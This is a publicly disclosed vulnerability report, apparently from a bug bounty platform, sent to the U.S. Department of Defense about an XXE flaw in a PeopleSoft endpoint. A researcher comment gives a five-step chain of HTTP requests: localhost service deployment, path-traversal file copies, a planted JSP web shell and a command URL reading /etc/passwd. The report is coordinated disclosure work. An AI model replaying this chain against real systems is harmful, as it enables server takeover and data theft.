XXE in DoD website that may lead to RCE

70

Share:

State	Resolved (Closed)
Disclosed	October 4, 2019 8:52pm +0530
Reported To	U.S. Dept Of Defense
Weakness	XML External Entities (XXE)
Severity	Critical (9 ~ 10)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

jin submitted a report to U.S. Dept Of Defense. May 12th (2 years ago)

Summary:
XXE in https://[redacted]

Description:
A malicious user can modify an XML-based request to include XML content that is then parsed locally.

Impact

An attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests, which will be processed by the XML parser. The attacker can use an XML external entity vulnerability for getting unauthorised access to the OS file system.

PoC

```
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: https://[redacted]
Content-type: text/xml
Content-Length: 50

<!DOCTYPE a PUBLIC "-//B/A/EN" "HELLO_XXE"><a></a>
```

BOT: U.S. Dept Of Defense posted a comment. May 12th (2 years ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

bwluebberthill updated the severity to Medium. May 15th (2 years ago)

bwluebberthill changed the status to ○ **Triaged**. May 15th (2 years ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

jin posted a comment. Updated Sep 24th (17 days ago)

Guys, just got a RCE via this XXE. Coz the base is this XXE, im not gonna create a new report. Just **update title and severity** pls.

PoC in attachments.

Stepts to reproduce:

1. Install new service via localhost using XXE

```
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: ████
Content-Type: application/xml
Content-Length: 612

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://localhost:8080/pspc/services/AdminService?method=%21--%3E%3Cns1%3Adeployme
```

2. Copy xml to temp dir

```
POST /pspc/services/lmJyaVBUrfcEfJw HTTP/1.1
Host: ███
Accept: */*
Connection: close
SOAPAction: useless
Content-Type: application/xml
Content-Length: 774

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">./applications/peoplesoft/pspc.war/WEB-INF/data/portletentityregistry.xml<
            <in1 xsi:type="xsd:string">../../../../../../../../../../../../../../../../../../../../../../../../tmp/QAusGyxGqQ
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
```

3. Add jsp shell payload

```
POST /pspc/services/lmJyaVBUrfcEfJw HTTP/1.1
Host: [redacted]
Accept: */*
Connection: close
SOAPAction: useless
Content-Type: application/xml
Content-Length: 1304

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0>
                <item xsi:type="xsd:string">../../../../../../../../../../../../../../../../../../../../../../../../tmp</item
                <item xsi:type="xsd:string">QAusGyxGqQqyVEhqzPbu</item>
                <item xsi:type="xsd:string">QAusGyxGqQqyVEhqzPbu.war</item>
                <item xsi:type="xsd:string">/bin/bash</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[<%@ page import="java.util.*,java.io.*"%><% if (request.getP
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
```

4. Copy XML to JSP in webroot

```
POST /pspc/services/lmJyaVBUrfcEfJw HTTP/1.1
Host: [redacted]
Accept: */*
Connection: close
SOAPAction: useless
Content-Type: application/xml
Content-Length: 761

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">../../../../../../../../../../../../../../../../../../../../../../../../tmp/QAusGyxGqQ
            <in1 xsi:type="xsd:string">./applications/peoplesoft/PSIGW.war/PVrIiSDNAQlOQubhYHDE.jsp</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
```

5. Go to your JSP shell with browser and get fully working RCE
   https://[redacted]/PSIGW/PVrIiSDNAQlOQubhYHDE.jsp?c=cat%20/etc/passwd

jland updated the severity from Medium to Critical. May 26th (2 years ago)

jland posted a comment. May 26th (2 years ago)

@jin: thanks for the additional details and PoC. I've elevated the severity to reflect the new information.

gwassermann posted a comment. Jul 3rd (2 years ago)

Greetings,

We have been advised that the vulnerability you reported has been resolved. Before we close this report, we would appreciate it if you could confirm that the vulnerability no longer exists.

If we do not receive a response within two weeks, we will send you a second request. If we do not receive a response from you within two weeks of the second notice, we will close this report as resolved.

If you do not believe this vulnerability has been effectively resolved or if you have any questions, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

amanion posted a comment. Updated Sep 24th (17 days ago)

This may not be a correct before/after comparison, can someone with Burp reproduce the initial report?

```
$ cat foo
<!DOCTYPE a PUBLIC "-//B/A/EN" "HELLO_XXE"><a></a>

$ curl -k -X POST -d @foo https://[redacted]/PSIGW/PeopleSoftServiceListeningConnector
<?xml version="1.0" ?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><
```

Evidence that vulnerability has been fixed, but need to confirm.

jin posted a comment. Jul 3rd (2 years ago)

Hi, looks like its fixed now.

Can i ask to update title to **RCE** and then disclose this?

gwassermann changed the report title from **XXE in DoD website** to **XXE in DoD website that may lead to RCE**. Jul 6th (2 years ago)

gwassermann closed the report and changed the status to ○ **Resolved**. Jul 6th (2 years ago)

Good news!

The vulnerability you reported is considered resolved and this report is now closed. If you have any questions, please let me know.

Thank you for your time and effort to improve the security of the DoD information network.

If you would like to request disclosure, you should be able to select a button on your side for disclosure. Your request will be reviewed and responded to separately.

Regards,

The VDP Team

jin requested to disclose this report. Jul 6th (2 years ago)

jin posted a comment. Jul 18th (2 years ago)

?

jin posted a comment. Aug 15th (2 years ago)

guys, can we disclose this?

jin posted a comment. Dec 18th (2 years ago)

up

jin posted a comment. Sep 4th (about 1 year ago)

"If you would like to request disclosure, you should be able to select a button on your side for disclosure. Your request will be reviewed and responded to separately.

Regards,

The VDP Team"

So, can we finally do it? xD

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)